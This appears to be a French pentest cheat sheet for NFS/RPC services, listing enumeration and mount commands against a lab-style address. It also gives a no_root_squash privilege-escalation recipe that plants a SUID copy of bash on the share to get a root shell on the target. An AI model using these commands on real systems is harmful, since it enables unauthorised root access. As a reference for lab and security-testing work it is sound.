111 - NFS/RPC
sommaire
NFS / RPC (111 + 2049)
rpcinfo -p 10.10.10.10 # services RPC enregistres
showmount -e 10.10.10.10 # lister les exports NFS
nmap -sV -p111,2049 --script 'nfs-*' 10.10.10.10 # nfs-showmount, nfs-ls, nfs-statfs
Monter un export
mkdir /mnt/nfs
sudo mount -t nfs 10.10.10.10:/export /mnt/nfs -o nolock
sudo mount -t nfs -o vers=3 10.10.10.10:/export /mnt/nfs
Privesc via no_root_squash (si présent dans /etc/exports)
Si un export est en no_root_squash, un root distant peut y déposer un binaire SUID root exécutable ensuite sur la cible.
# sur l'attaquant (en root), dans le partage monte :
cp /bin/bash /mnt/nfs/bash && chmod +s /mnt/nfs/bash
# sur la cible (utilisateur bas privilege) :
/export/bash -p # -p garde l'euid root -> shell root